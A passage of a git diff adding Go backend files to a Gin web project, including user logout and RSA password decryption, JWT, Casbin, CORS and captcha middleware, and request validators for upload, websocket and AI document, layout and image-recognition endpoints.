userName:=context.GetString(consts.ValidatorPrefix + "user_name") + // 密码解密 + pass = string(u.DecryptPassword(userName, pass)) + if model.CreateUserFactory("").Destroy(int(userId),userName,pass) { + response.Success(context, consts.CurdStatusOkMsg, "") + } else { + response.Fail(context, consts.CurdDeleteFailCode, consts.CurdDeleteFailMsg, "") + } +} + +func (u *Users) Logout(c *gin.Context) { + //表单参数验证中的int、int16、int32 、int64、float32、float64等数字键(字段),请统一使用 GetFloat64() 获取,其他函数无效 + id := c.GetFloat64(consts.ValidatorPrefix + "id") + userName:=c.GetString(consts.ValidatorPrefix + "user_name") + if model.CreateUserFactory("").Logout(int(id),userName) { + response.Success(c, consts.CurdStatusOkMsg, "") + } else { + response.Fail(c, consts.CurdLogoutFailCode, consts.CurdDeleteFailMsg, "") + } +} + +// 返回user_name对应的公钥;如果不存在,会重新创建并存储后返回新的公钥 +func (u *Users)PublicKey(c *gin.Context){ + userName:=c.GetString(consts.ValidatorPrefix+"user_name") + key := model.CreateUserFactory("").PublicKey(userName) + // fmt.Println("public key: ",string(key)) + if key!=nil{ + // response.Success(c,consts.CurdStatusOkMsg,gin.H{"PublicKey":key}) + c.Data(http.StatusOK, "application/x-pem-file", key) + }else{ + response.Fail(c,consts.CurdPublicKeyFailCode,consts.CurdPublicKeyFailMsg,"") + } +} + +// 密码解密 +func (u *Users)DecryptPassword(userName, pass string) []byte { + if pass == "" { + return nil + } + + // 获取私钥 + key := model.CreateUserFactory("").PrivateKey(userName) + if key == nil { + variable.ZapLog.Error("私钥获取失败") + return nil + } + + // 解析私钥 + privateKey, err := rsa.ParsePrivateKeyFromPEM(key) + if err != nil { + variable.ZapLog.Error("私钥解析失败,"+err.Error()) + return nil + } + + // Base64 解码密码 + encryptedPassword, err := rsa.DecodeBase64(pass) + if err != nil { + variable.ZapLog.Error("密码Base64解码失败") + return nil + } + + // 使用私钥解密密码 + decryptedBytes, err := rsa.DecryptWithPrivateKey(privateKey, encryptedPassword) + if err != nil { + variable.ZapLog.Error("密码使用私钥解密失败") + return nil + } + + return decryptedBytes +} \ No newline at end of file diff --git a/GinSkeleton/app/http/controller/websocket/ws.go b/GinSkeleton/app/http/controller/websocket/ws.go new file mode 100644 index 0000000..8c45808 --- /dev/null +++ b/GinSkeleton/app/http/controller/websocket/ws.go @@ -0,0 +1,24 @@ +package websocket + +import ( + "github.com/gin-gonic/gin" + serviceWs "goskeleton/app/service/websocket" +) + +/** +websocket 想要了解更多具体细节请参见以下文档 +文档地址:https://github.com/gorilla/websocket/tree/master/examples +*/ + +type Ws struct { +} + +// OnOpen 主要解决握手+协议升级 +func (w *Ws) OnOpen(context *gin.Context) (*serviceWs.Ws, bool) { + return (&serviceWs.Ws{}).OnOpen(context) +} + +// OnMessage 处理业务消息 +func (w *Ws) OnMessage(serviceWs *serviceWs.Ws, context *gin.Context) { + serviceWs.OnMessage(context) +} diff --git a/GinSkeleton/app/http/middleware/authorization/auth.go b/GinSkeleton/app/http/middleware/authorization/auth.go new file mode 100644 index 0000000..48cc64d --- /dev/null +++ b/GinSkeleton/app/http/middleware/authorization/auth.go @@ -0,0 +1,165 @@ +package authorization + +import ( + "github.com/dchest/captcha" + "github.com/gin-gonic/gin" + "goskeleton/app/global/consts" + "goskeleton/app/global/variable" + userstoken "goskeleton/app/service/users/token" + "goskeleton/app/utils/response" + "strings" +) + +type HeaderParams struct { + Authorization string `header:"Authorization" binding:"required,min=20"` +} + +// CheckTokenAuth 检查token完整性、有效性中间件 +func CheckTokenAuth() gin.HandlerFunc { + return func(context *gin.Context) { + + headerParams := HeaderParams{} + + // 推荐使用 ShouldBindHeader 方式获取头参数 + if err := context.ShouldBindHeader(&headerParams); err != nil { + response.TokenErrorParam(context, consts.JwtTokenMustValid+err.Error()) + return + } + token := strings.Split(headerParams.Authorization, " ") + if len(token) == 2 && len(token[1]) >= 20 { + tokenIsEffective := userstoken.CreateUserFactory().IsEffective(token[1]) + if tokenIsEffective { + if customToken, err := userstoken.CreateUserFactory().ParseToken(token[1]); err == nil { + key := variable.ConfigYml.GetString("Token.BindContextKeyName") + // token验证通过,同时绑定在请求上下文 + context.Set(key, customToken) + } + context.Next() + } else { + response.ErrorTokenAuthFail(context) + } + } else { + response.ErrorTokenBaseInfo(context) + } + } +} + +// CheckTokenAuthWithRefresh 检查token完整性、有效性并且自动刷新中间件 +func CheckTokenAuthWithRefresh() gin.HandlerFunc { + return func(context *gin.Context) { + + headerParams := HeaderParams{} + + // 推荐使用 ShouldBindHeader 方式获取头参数 + if err := context.ShouldBindHeader(&headerParams); err != nil { + response.TokenErrorParam(context, consts.JwtTokenMustValid+err.Error()) + return + } + token := strings.Split(headerParams.Authorization, " ") + if len(token) == 2 && len(token[1]) >= 20 { + tokenIsEffective := userstoken.CreateUserFactory().IsEffective(token[1]) + // 判断token是否有效 + if tokenIsEffective { + if customToken, err := userstoken.CreateUserFactory().ParseToken(token[1]); err == nil { + key := variable.ConfigYml.GetString("Token.BindContextKeyName") + // token验证通过,同时绑定在请求上下文 + context.Set(key, customToken) + // 在自动刷新token的中间件中,将请求的认证键、值,原路返回,与后续刷新逻辑格式保持一致 + context.Header("Refresh-Token", "") + context.Header("Access-Control-Expose-Headers", "Refresh-Token") + } + context.Next() + } else { + // 判断token是否满足刷新条件 + if userstoken.CreateUserFactory().TokenIsMeetRefreshCondition(token[1]) { + // 刷新token + if newToken, ok := userstoken.CreateUserFactory().RefreshToken(token[1]); ok { + if customToken, err := userstoken.CreateUserFactory().ParseToken(newToken); err == nil { + key := variable.ConfigYml.GetString("Token.BindContextKeyName") + // token刷新成功,同时绑定在请求上下文 + context.Set(key, customToken) + } + // 新token放入header返回 + context.Header("Refresh-Token", newToken) + context.Header("Access-Control-Expose-Headers", "Refresh-Token") + context.Next() + } else { + response.ErrorTokenRefreshFail(context) + } + } else { + response.ErrorTokenRefreshFail(context) + } + } + } else { + response.ErrorTokenBaseInfo(context) + } + } +} + +// RefreshTokenConditionCheck 刷新token条件检查中间件,针对已经过期的token,要求是token格式以及携带的信息满足配置参数即可 +func RefreshTokenConditionCheck() gin.HandlerFunc { + return func(context *gin.Context) { + + headerParams := HeaderParams{} + if err := context.ShouldBindHeader(&headerParams); err != nil { + response.TokenErrorParam(context, consts.JwtTokenMustValid+err.Error()) + return + } + token := strings.Split(headerParams.Authorization, " ") + if len(token) == 2 && len(token[1]) >= 20 { + // 判断token是否满足刷新条件 + if userstoken.CreateUserFactory().TokenIsMeetRefreshCondition(token[1]) { + context.Next() + } else { + response.ErrorTokenRefreshFail(context) + } + } else { + response.ErrorTokenBaseInfo(context) + } + } +} + +// CheckCasbinAuth casbin检查用户对应的角色权限是否允许访问接口 +func CheckCasbinAuth() gin.HandlerFunc { + return func(c *gin.Context) { + requstUrl := c.Request.URL.Path + method := c.Request.Method + + // 模拟请求参数转换后的角色(roleId=2) + // 主线版本没有深度集成casbin的使用逻辑 + // GinSkeleton-Admin 系统则深度集成了casbin接口权限管控 + // 详细实现参考地址:https://gitee.com/daitougege/gin-skeleton-admin-backend/blob/master/app/http/middleware/authorization/auth.go + role := "2" // 这里模拟某个用户的roleId=2 + + // 这里将用户的id解析为所拥有的的角色,判断是否具有某个权限即可 + isPass, err := variable.Enforcer.Enforce(role, requstUrl, method) + if err != nil { + response.ErrorCasbinAuthFail(c, err.Error()) + return + } else if !isPass { + response.ErrorCasbinAuthFail(c, "") + return + } else { + c.Next() + } + } +} + +// CheckCaptchaAuth 验证码中间件 +func CheckCaptchaAuth() gin.HandlerFunc { + return func(c *gin.Context) { + captchaIdKey := variable.ConfigYml.GetString("Captcha.captchaId") + captchaValueKey := variable.ConfigYml.GetString("Captcha.captchaValue") + captchaId := c.PostForm(captchaIdKey) + value := c.PostForm(captchaValueKey) + if captchaId == "" || value == "" { + response.Fail(c, consts.CaptchaCheckParamsInvalidCode, consts.CaptchaCheckParamsInvalidMsg, "") + return + } + if captcha.VerifyString(captchaId, value) { + c.Next() + } else { + response.Fail(c, consts.CaptchaCheckFailCode, consts.CaptchaCheckFailMsg, "") + } + } +} diff --git a/GinSkeleton/app/http/middleware/cors/cors.go b/GinSkeleton/app/http/middleware/cors/cors.go new file mode 100644 index 0000000..305ed05 --- /dev/null +++ b/GinSkeleton/app/http/middleware/cors/cors.go @@ -0,0 +1,24 @@ +package cors + +import ( + "github.com/gin-gonic/gin" + "net/http" +) + +// 允许跨域 +func Next() gin.HandlerFunc { + return func(c *gin.Context) { + method := c.Request.Method + c.Header("Access-Control-Allow-Origin", "*") + c.Header("Access-Control-Allow-Headers", "Access-Control-Allow-Headers,Authorization,User-Agent, Keep-Alive, Content-Type, X-Requested-With,X-CSRF-Token,AccessToken,Token") + c.Header("Access-Control-Allow-Methods", "GET, POST, DELETE, PUT, PATCH, OPTIONS") + c.Header("Access-Control-Expose-Headers", "Content-Length, Access-Control-Allow-Origin, Access-Control-Allow-Headers, Content-Type") + c.Header("Access-Control-Allow-Credentials", "true") + + // 放行所有OPTIONS方法 + if method == "OPTIONS" { + c.AbortWithStatus(http.StatusAccepted) + } + c.Next() + } +} diff --git a/GinSkeleton/app/http/middleware/my_jwt/custom_claims.go b/GinSkeleton/app/http/middleware/my_jwt/custom_claims.go new file mode 100644 index 0000000..a7ffe19 --- /dev/null +++ b/GinSkeleton/app/http/middleware/my_jwt/custom_claims.go @@ -0,0 +1,11 @@ +package my_jwt + +import "github.com/dgrijalva/jwt-go" + +// 自定义jwt的声明字段信息+标准字段,参考地址:https://blog.csdn.net/codeSquare/article/details/99288718 +type CustomClaims struct { + UserId int64 `json:"user_id"` + Name string `json:"user_name"` + Phone string `json:"phone"` + jwt.StandardClaims +} diff --git a/GinSkeleton/app/http/middleware/my_jwt/my_jwt.go b/GinSkeleton/app/http/middleware/my_jwt/my_jwt.go new file mode 100644 index 0000000..0ddcaef --- /dev/null +++ b/GinSkeleton/app/http/middleware/my_jwt/my_jwt.go @@ -0,0 +1,73 @@ +package my_jwt + +import ( + "errors" + "github.com/dgrijalva/jwt-go" + "goskeleton/app/global/my_errors" + "time" +) + +// 使用工厂创建一个 JWT 结构体 +func CreateMyJWT(signKey string) *JwtSign { + if len(signKey) <= 0 { + signKey = "goskeleton" + } + return &JwtSign{ + []byte(signKey), + } +} + +// 定义一个 JWT验签 结构体 +type JwtSign struct { + SigningKey []byte +} + +// CreateToken 生成一个token +func (j *JwtSign) CreateToken(claims CustomClaims) (string, error) { + // 生成jwt格式的header、claims 部分 + tokenPartA := jwt.NewWithClaims(jwt.SigningMethodHS256, claims) + // 继续添加秘钥值,生成最后一部分 + return tokenPartA.SignedString(j.SigningKey) +} + +// 解析Token +func (j *JwtSign) ParseToken(tokenString string) (*CustomClaims, error) { + token, err := jwt.ParseWithClaims(tokenString, &CustomClaims{}, func(token *jwt.Token) (interface{}, error) { + return j.SigningKey, nil + }) + if token == nil { + return nil, errors.New(my_errors.ErrorsTokenInvalid) + } + if err != nil { + if ve, ok := err.(*jwt.ValidationError); ok { + if ve.Errors&jwt.ValidationErrorMalformed != 0 { + return nil, errors.New(my_errors.ErrorsTokenMalFormed) + } else if ve.Errors&jwt.ValidationErrorNotValidYet != 0 { + return nil, errors.New(my_errors.ErrorsTokenNotActiveYet) + } else if ve.Errors&jwt.ValidationErrorExpired != 0 { + // 如果 TokenExpired ,只是过期(格式都正确),我们认为他是有效的,接下可以允许刷新操作 + token.Valid = true + goto labelHere + } else { + return nil, errors.New(my_errors.ErrorsTokenInvalid) + } + } + } +labelHere: + if claims, ok := token.Claims.(*CustomClaims); ok && token.Valid { + return claims, nil + } else { + return nil, errors.New(my_errors.ErrorsTokenInvalid) + } +} + +// 更新token +func (j *JwtSign) RefreshToken(tokenString string, extraAddSeconds int64) (string, error) { + + if CustomClaims, err := j.ParseToken(tokenString); err == nil { + CustomClaims.ExpiresAt = time.Now().Unix() + extraAddSeconds + return j.CreateToken(*CustomClaims) + } else { + return "", err + } +} diff --git a/GinSkeleton/app/http/validator/api/home/news.go b/GinSkeleton/app/http/validator/api/home/news.go new file mode 100644 index 0000000..193a92a --- /dev/null +++ b/GinSkeleton/app/http/validator/api/home/news.go @@ -0,0 +1,36 @@ +package home + +import ( + "github.com/gin-gonic/gin" + "goskeleton/app/global/consts" + "goskeleton/app/http/controller/api" + common_data_type "goskeleton/app/http/validator/common/data_type" + "goskeleton/app/http/validator/core/data_transfer" + "goskeleton/app/utils/response" +) + +// 门户类前端接口模拟一个获取新闻的参数验证器 + +type News struct { + NewsType string `form:"newsType" json:"newsType" binding:"required,min=1"` // 验证规则:必填,最小长度为1 + common_data_type.Page +} + +func (n News) CheckParams(context *gin.Context) { + //1.先按照验证器提供的基本语法,基本可以校验90%以上的不合格参数 + if err := context.ShouldBind(&n); err != nil { + // 将表单参数验证器出现的错误直接交给错误翻译器统一处理即可 + response.ValidatorError(context, err) + return + } + + // 该函数主要是将绑定的数据以 键=>值 形式直接传递给下一步(控制器) + extraAddBindDataContext := data_transfer.DataAddContext(n, consts.ValidatorPrefix, context) + if extraAddBindDataContext == nil { + response.ErrorSystem(context, "HomeNews表单验证器json化失败", "") + } else { + // 验证完成,调用控制器,并将验证器成员(字段)递给控制器,保持上下文数据一致性 + (&api.Home{}).News(extraAddBindDataContext) + } + +} diff --git a/GinSkeleton/app/http/validator/common/data_type/common_data_type.go b/GinSkeleton/app/http/validator/common/data_type/common_data_type.go new file mode 100644 index 0000000..c291fef --- /dev/null +++ b/GinSkeleton/app/http/validator/common/data_type/common_data_type.go @@ -0,0 +1,6 @@ +package data_type + +type Page struct { + Page float64 `form:"page" json:"page" binding:"min=1"` // 必填,页面值>=1 + Limit float64 `form:"limit" json:"limit" binding:"min=1"` // 必填,每页条数值>=1 +} diff --git a/GinSkeleton/app/http/validator/common/register_validator/api_register_validator.go b/GinSkeleton/app/http/validator/common/register_validator/api_register_validator.go new file mode 100644 index 0000000..c0ee7ee --- /dev/null +++ b/GinSkeleton/app/http/validator/common/register_validator/api_register_validator.go @@ -0,0 +1,20 @@ +package register_validator + +import ( + "goskeleton/app/core/container" + "goskeleton/app/global/consts" + "goskeleton/app/http/validator/api/home" +) + +// 各个业务模块验证器必须进行注册(初始化),程序启动时会自动加载到容器 +func ApiRegisterValidator() { + //创建容器 + containers := container.CreateContainersFactory() + + // key 按照前缀+模块+验证动作 格式,将各个模块验证注册在容器 + var key string + + // 注册门户类表单参数验证器 + key = consts.ValidatorPrefix + "HomeNews" + containers.Set(key, home.News{}) +} diff --git a/GinSkeleton/app/http/validator/common/register_validator/web_register_validator.go b/GinSkeleton/app/http/validator/common/register_validator/web_register_validator.go new file mode 100644 index 0000000..92ff849 --- /dev/null +++ b/GinSkeleton/app/http/validator/common/register_validator/web_register_validator.go @@ -0,0 +1,67 @@ +package register_validator + +import ( + "goskeleton/app/core/container" + "goskeleton/app/global/consts" + "goskeleton/app/http/validator/common/upload_files" + "goskeleton/app/http/validator/common/websocket" + "goskeleton/app/http/validator/web/ai_doc.go" + "goskeleton/app/http/validator/web/ai_recognition" + "goskeleton/app/http/validator/web/users" + "goskeleton/app/http/validator/web/ai_layout" +) + +// 各个业务模块验证器必须进行注册(初始化),程序启动时会自动加载到容器 +func WebRegisterValidator() { + //创建容器 + containers := container.CreateContainersFactory() + + // key 按照前缀+模块+验证动作 格式,将各个模块验证注册在容器 + var key string + // Users 模块表单验证器按照 key => value 形式注册在容器,方便路由模块中调用 + key = consts.ValidatorPrefix + "UsersRegister" + containers.Set(key, users.Register{}) + key = consts.ValidatorPrefix + "UsersLogin" + containers.Set(key, users.Login{}) + key = consts.ValidatorPrefix + "RefreshToken" + containers.Set(key, users.RefreshToken{}) + + // Users基本操作(CURD) + key = consts.ValidatorPrefix + "UsersInfo" + containers.Set(key, users.Info{}) + // key = consts.ValidatorPrefix + "UsersStore" + // containers.Set(key, users.Store{}) + key = consts.ValidatorPrefix + "UsersNameUpdate" + containers.Set(key, users.NameUpdate{}) + key = consts.ValidatorPrefix + "UsersPasswordUpdate" + containers.Set(key, users.PasswordUpdate{}) + key = consts.ValidatorPrefix + "UsersDestroy" + containers.Set(key, users.Destroy{}) + key = consts.ValidatorPrefix + "UsersLogout" + containers.Set(key, users.Logout{}) + key = consts.ValidatorPrefix + "PublicKey" + containers.Set(key, users.PublicKey{}) + + // 文件上传 + key = consts.ValidatorPrefix + "UploadFiles" + containers.Set(key, upload_files.UpFiles{}) + + // Websocket 连接验证器 + key = consts.ValidatorPrefix + "WebsocketConnect" + containers.Set(key, websocket.Connect{}) + + // ai 识别功能相关 + key = consts.ValidatorPrefix + "PicRecognition" + containers.Set(key, ai_recognition.PicRecognition{}) + key = consts.ValidatorPrefix + "VocRecognition" + containers.Set(key, ai_recognition.VocRecognition{}) + // ai文档优化 + key = consts.ValidatorPrefix + "DocRefine" + containers.Set(key, ai_doc.DocRefine{}) + // ai 排版 + key = consts.ValidatorPrefix + "StyleGenerate" + containers.Set(key, ai_layout.StyleGenerate{}) + key = consts.ValidatorPrefix + "LayoutGenerate" + containers.Set(key, ai_layout.LayoutGenerate{}) + +} diff --git a/GinSkeleton/app/http/validator/common/upload_files/upload_fiels.go b/GinSkeleton/app/http/validator/common/upload_files/upload_fiels.go new file mode 100644 index 0000000..71388de --- /dev/null +++ b/GinSkeleton/app/http/validator/common/upload_files/upload_fiels.go @@ -0,0 +1,58 @@ +package upload_files + +import ( + "github.com/gin-gonic/gin" + "goskeleton/app/global/consts" + "goskeleton/app/global/variable" + "goskeleton/app/http/controller/web" + "goskeleton/app/utils/files" + "goskeleton/app/utils/response" + "strconv" + "strings" +) + +type UpFiles struct { +} + +// 文件上传公共模块表单参数验证器 +func (u UpFiles) CheckParams(context *gin.Context) { + tmpFile, err := context.FormFile(variable.ConfigYml.GetString("FileUploadSetting.UploadFileField")) // file 是一个文件结构体(文件对象) + var isPass bool + //获取文件发生错误,可能上传了空文件等 + if err != nil { + response.Fail(context, consts.FilesUploadFailCode, consts.FilesUploadFailMsg, err.Error()) + return + } + if tmpFile.Size == 0 { + response.Fail(context, consts.FilesUploadMoreThanMaxSizeCode, consts.FilesUploadIsEmpty, "") + return + } + + //超过系统设定的最大值:32M,tmpFile.Size 的单位是 bytes 和我们定义的文件单位M 比较,就需要将我们的单位*1024*1024(即2的20次方),一步到位就是 << 20 + sizeLimit := variable.ConfigYml.GetInt64("FileUploadSetting.Size") + if tmpFile.Size > sizeLimit<<20 { + response.Fail(context, consts.FilesUploadMoreThanMaxSizeCode, consts.FilesUploadMoreThanMaxSizeMsg+strconv.FormatInt(sizeLimit, 10)+"M", "") + return + } + //不允许的文件mime类型 + if fp, err := tmpFile.Open(); err == nil { + mimeType := files.GetFilesMimeByFp(fp) + + for _, value := range variable.ConfigYml.GetStringSlice("FileUploadSetting.AllowMimeType") { + if strings.ReplaceAll(value, " ", "") == strings.ReplaceAll(mimeType, " ", "") { + isPass = true + break + } + } + _ = fp.Close() + } else { + response.ErrorSystem(context, consts.ServerOccurredErrorMsg, "") + return + } + //凡是存在相等的类型,通过验证,调用控制器 + if !isPass { + response.Fail(context, consts.FilesUploadMimeTypeFailCode, consts.FilesUploadMimeTypeFailMsg, "") + } else { + (&web.Upload{}).StartUpload(context) + } +} diff --git a/GinSkeleton/app/http/validator/common/websocket/connect.go b/GinSkeleton/app/http/validator/common/websocket/connect.go new file mode 100644 index 0000000..bf0694b --- /dev/null +++ b/GinSkeleton/app/http/validator/common/websocket/connect.go @@ -0,0 +1,43 @@ +package websocket + +import ( + "github.com/gin-gonic/gin" + "go.uber.org/zap" + "goskeleton/app/global/consts" + "goskeleton/app/global/variable" + controllerWs "goskeleton/app/http/controller/websocket" + "goskeleton/app/http/validator/core/data_transfer" +) + +type Connect struct { + Token string `form:"token" json:"token" binding:"required,min=10"` +} + +// 验证器语法,参见 Register.go文件,有详细说明 +// 注意:websocket 连接建立之前如果有错误,只能在服务端同构日志输出方式记录(因为使用response.Fail等函数,客户端是收不到任何信息的) + +func (c Connect) CheckParams(context *gin.Context) { + + // 1. 首先检查是否开启websocket服务配置(在配置项中开启) + if variable.ConfigYml.GetInt("Websocket.Start") != 1 { + variable.ZapLog.Error(consts.WsServerNotStartMsg) + return + } + //2.基本的验证规则没有通过 + if err := context.ShouldBind(&c); err != nil { + variable.ZapLog.Error("客户端上线参数不合格", zap.Error(err)) + return + } + extraAddBindDataContext := data_transfer.DataAddContext(c, consts.ValidatorPrefix, context) + if extraAddBindDataContext == nil { + variable.ZapLog.Error("websocket-Connect 表单验证器json化失败") + context.Abort() + return + } else { + if serviceWs, ok := (&controllerWs.Ws{}).OnOpen(extraAddBindDataContext); ok == false { + variable.ZapLog.Error(consts.WsOpenFailMsg) + } else { + (&controllerWs.Ws{}).OnMessage(serviceWs, extraAddBindDataContext) // 注意这里传递的service_ws必须是调用open返回的,必须保证的ws对象的一致性 + } + } +} diff --git a/GinSkeleton/app/http/validator/core/data_transfer/data_transfer.go b/GinSkeleton/app/http/validator/core/data_transfer/data_transfer.go new file mode 100644 index 0000000..490ef84 --- /dev/null +++ b/GinSkeleton/app/http/validator/core/data_transfer/data_transfer.go @@ -0,0 +1,37 @@ +package data_transfer + +import ( + "encoding/json" + "github.com/gin-gonic/gin" + "goskeleton/app/global/variable" + "goskeleton/app/http/validator/core/interf" + "time" +) + +// 将验证器成员(字段)绑定到数据传输上下文,方便控制器获取 +/** +本函数参数说明: +validatorInterface 实现了验证器接口的结构体 +extra_add_data_prefix 验证器绑定参数传递给控制器的数据前缀 +context gin上下文 +*/ + +func DataAddContext(validatorInterface interf.ValidatorInterface, extraAddDataPrefix string, context *gin.Context) *gin.Context { + var tempJson interface{} + if tmpBytes, err1 := json.Marshal(validatorInterface); err1 == nil { + if err2 := json.Unmarshal(tmpBytes, &tempJson); err2 == nil { + if value, ok := tempJson.(map[string]interface{}); ok { + for k, v := range value { + context.Set(extraAddDataPrefix+k, v) + } + // 此外给上下文追加三个键:created_at 、 updated_at 、 deleted_at ,实际根据需要自己选择获取相关键值 + curDateTime := time.Now().Format(variable.DateFormat) + context.Set(extraAddDataPrefix+"created_at", curDateTime) + context.Set(extraAddDataPrefix+"updated_at", curDateTime) + context.Set(extraAddDataPrefix+"deleted_at", curDateTime) + return context + } + } + } + return nil +} diff --git a/GinSkeleton/app/http/validator/core/factory/factory.go b/GinSkeleton/app/http/validator/core/factory/factory.go new file mode 100644 index 0000000..bfa8c20 --- /dev/null +++ b/GinSkeleton/app/http/validator/core/factory/factory.go @@ -0,0 +1,21 @@ +package factory + +import ( + "github.com/gin-gonic/gin" + "goskeleton/app/core/container" + "goskeleton/app/global/my_errors" + "goskeleton/app/global/variable" + "goskeleton/app/http/validator/core/interf" +) + +// 表单参数验证器工厂(请勿修改) +func Create(key string) func(context *gin.Context) { + + if value := container.CreateContainersFactory().Get(key); value != nil { + if val, isOk := value.(interf.ValidatorInterface); isOk { + return val.CheckParams + } + } + variable.ZapLog.Error(my_errors.ErrorsValidatorNotExists + ", 验证器模块:" + key) + return nil +} diff --git a/GinSkeleton/app/http/validator/core/interf/interf.go b/GinSkeleton/app/http/validator/core/interf/interf.go new file mode 100644 index 0000000..9e62a27 --- /dev/null +++ b/GinSkeleton/app/http/validator/core/interf/interf.go @@ -0,0 +1,8 @@ +package interf + +import "github.com/gin-gonic/gin" + +// 验证器接口,每个验证器必须实现该接口,请勿修改 +type ValidatorInterface interface { + CheckParams(context *gin.Context) +} diff --git a/GinSkeleton/app/http/validator/web/ai_doc.go/doc_refine.go b/GinSkeleton/app/http/validator/web/ai_doc.go/doc_refine.go new file mode 100644 index 0000000..95a1aa7 --- /dev/null +++ b/GinSkeleton/app/http/validator/web/ai_doc.go/doc_refine.go @@ -0,0 +1,48 @@ +package ai_doc + +import ( + "goskeleton/app/global/consts" + "goskeleton/app/http/controller/web" + "goskeleton/app/http/validator/core/data_transfer" + "goskeleton/app/utils/response" + "strings" + + "github.com/gin-gonic/gin" +) + +type DocRefine struct { + Type string `form:"type" json:"type" binding:"required"` // 必填、 + Doc string `form:"doc" json:"doc" binding:"required"` // 必填、对于文本,表示它的长度>=1 + Background string `form:"background" json:"background" ` +} + +var Types = []string{"summary", "decoration", "extension", "correction", "translation"} + +func (d DocRefine) CheckParams(context *gin.Context) { + if err := context.ShouldBind(&d); err != nil { + // 将表单参数验证器出现的错误直接交给错误翻译器统一处理即可 + response.ValidatorError(context, err) + return + } + + // 判断是否在类型中 + t := d.Type + isExit := false + for _, e := range Types { + if strings.TrimSpace(t) == e { + isExit = true + break + } + } + if !isExit { + response.ErrorSystem(context, "DocRefine表单参数验证器json化失败", "") + return + } + // 该函数主要是将本结构体的字段(成员)按照 consts.ValidatorPrefix+ json标签对应的 键 => 值 形式绑定在上下文,便于下一步(控制器)可以直接通过 context.Get(键) 获取相关值 + extraAddBindDataContext := data_transfer.DataAddContext(d, consts.ValidatorPrefix, context) + if extraAddBindDataContext == nil { + response.ErrorSystem(context, "DocRefine表单参数验证器json化失败", "") + return + } + (&web.DocRefine{}).DocRefine(extraAddBindDataContext) +} diff --git a/GinSkeleton/app/http/validator/web/ai_layout/layout_generate.go b/GinSkeleton/app/http/validator/web/ai_layout/layout_generate.go new file mode 100644 index 0000000..ab21c95 --- /dev/null +++ b/GinSkeleton/app/http/validator/web/ai_layout/layout_generate.go @@ -0,0 +1,23 @@ +package ai_layout +import( + "github.com/gin-gonic/gin" + "goskeleton/app/utils/response" + "goskeleton/app/http/controller/web" + "goskeleton/app/http/validator/core/data_transfer" + "goskeleton/app/global/consts" +) +type LayoutGenerate struct { + DocContent string `form:"doc_content" json:"doc_content" binging:"required"` +} +func (l LayoutGenerate) CheckParams(context *gin.Context) { + if err:=context.ShouldBind(&l);err!=nil{ + response.ValidatorError(context,err) + return + } + extraAddBindDataContext := data_transfer.DataAddContext(l, consts.ValidatorPrefix, context) + if extraAddBindDataContext == nil { + response.ErrorSystem(context, "LayoutGenerate表单参数验证器json化失败", "") + return + } + (&web.LayoutGenerate{}).LayoutGenerate(extraAddBindDataContext) +} \ No newline at end of file diff --git a/GinSkeleton/app/http/validator/web/ai_layout/style_generate.go b/GinSkeleton/app/http/validator/web/ai_layout/style_generate.go new file mode 100644 index 0000000..4345f53 --- /dev/null +++ b/GinSkeleton/app/http/validator/web/ai_layout/style_generate.go @@ -0,0 +1,32 @@ +package ai_layout +import( + "github.com/gin-gonic/gin" + "goskeleton/app/utils/response" + "goskeleton/app/http/controller/web" + "goskeleton/app/http/validator/core/data_transfer" + "goskeleton/app/global/consts" +) +type ChatRecord struct { + Role string `json:"role" binding:"required"` + Content string `json:"content" binding:"required"` +} + +type StyleGenerate struct { + UserInput string `form:"user_input" json:"user_input" binding:"required"` // 必填 + ChatHistory []ChatRecord `form:"char_history" json:"chat_history"` // 非必填 +} + +func (s StyleGenerate) CheckParams(context *gin.Context) { + // 将表单参数验证器出现的错误直接交给错误翻译器统一处理即可 + if err := context.ShouldBind(&s); err != nil { + response.ValidatorError(context, err) + return + } + // 该函数主要是将本结构体的字段(成员)按照 consts.ValidatorPrefix+ json标签对应的 键 => 值 形式绑定在上下文,便于下一步(控制器)可以直接通过 context.Get(键) 获取相关值 + extraAddBindDataContext := data_transfer.DataAddContext(s, consts.ValidatorPrefix, context) + if extraAddBindDataContext == nil { + response.ErrorSystem(context, "StyleGenerate表单参数验证器json化失败", "") + return + } + (&web.StyleGenerate{}).StyleGenerate(extraAddBindDataContext) +} \ No newline at end of file diff --git a/GinSkeleton/app/http/validator/web/ai_recognition/pic_recognition.go b/GinSkeleton/app/http/validator/web/ai_recognition/pic_recognition.go new file mode 100644 index 0000000..ea08d23 --- /dev/null +++ b/GinSkeleton/app/http/validator/web/ai_recognition/pic_recognition.go @@ -0,0 +1,65 @@ +package ai_recognition + +import ( + "bytes" + "encoding/base64" + "goskeleton/app/global/consts" + "goskeleton/app/http/controller/web" + "goskeleton/app/http/validator/core/data_transfer" + "goskeleton/app/utils/response" + "image" + _ "image/jpeg" + "math" + "github.com/gin-gonic/gin" +) + +type PicRecognition struct { + Pic string `form:"pic" json:"pic" binding:"required"` // 必填、对于文本,表示它的长度>=1 +} + +func (p PicRecognition) CheckParams(context *gin.Context) { + if err := context.ShouldBind(&p); err != nil { + // 将表单参数验证器出现的错误直接交给错误翻译器统一处理即可 + response.ValidatorError(context, err) + return + } + // 该函数主要是将本结构体的字段(成员)按照 consts.ValidatorPrefix+ json标签对应的 键 => 值 形式绑定在上下文,便于下一步(控制器)可以直接通过 context.Get(键) 获取相关值 + extraAddBindDataContext := data_transfer.DataAddContext(p, consts.ValidatorPrefix, context) + if extraAddBindDataContext == nil { + response.ErrorSystem(context, "PicRecognition表单参数验证器json化失败", "") + return + } + pic := p.Pic + // 先进行 URL 解码 + // decodedPic, err := url.QueryUnescape(pic) + // if err != nil { + // response.ErrorSystem(context, "PicRecognition表单参数验证器URL解码失败", "") + // return + // } + // 再进行 Base64 解码 + decodedData, err := base64.StdEncoding.DecodeString(pic) + if err != nil { + response.ErrorSystem(context, "PicRecognition表单参数验证器Base64解码失败", "") + return + } + // 检查大小不超过 10M(10 * 1024 * 1024 字节) + if len(decodedData) > 10*1024*1024 { + response.ErrorSystem(context, "PicRecognition表单参数验证器图片大小超过 10M", "") + return + } + // 将字节数据转换为图像以检查格式和尺寸 + img, _, err := image.Decode(bytes.NewReader(decodedData)) + if err != nil { + response.ErrorSystem(context, "PicRecognition表单参数验证器图片格式不正确", "") + return + } + bounds := img.Bounds() + minSide := math.Min(float64(bounds.Dx()), float64(bounds.Dy())) + maxSide := math.Max(float64(bounds.Dx()), float64(bounds.Dy())) + // 最短边至少 15px,最长边最大 8192px + if minSide < 15 || maxSide > 8192 { + response.ErrorSystem(context, 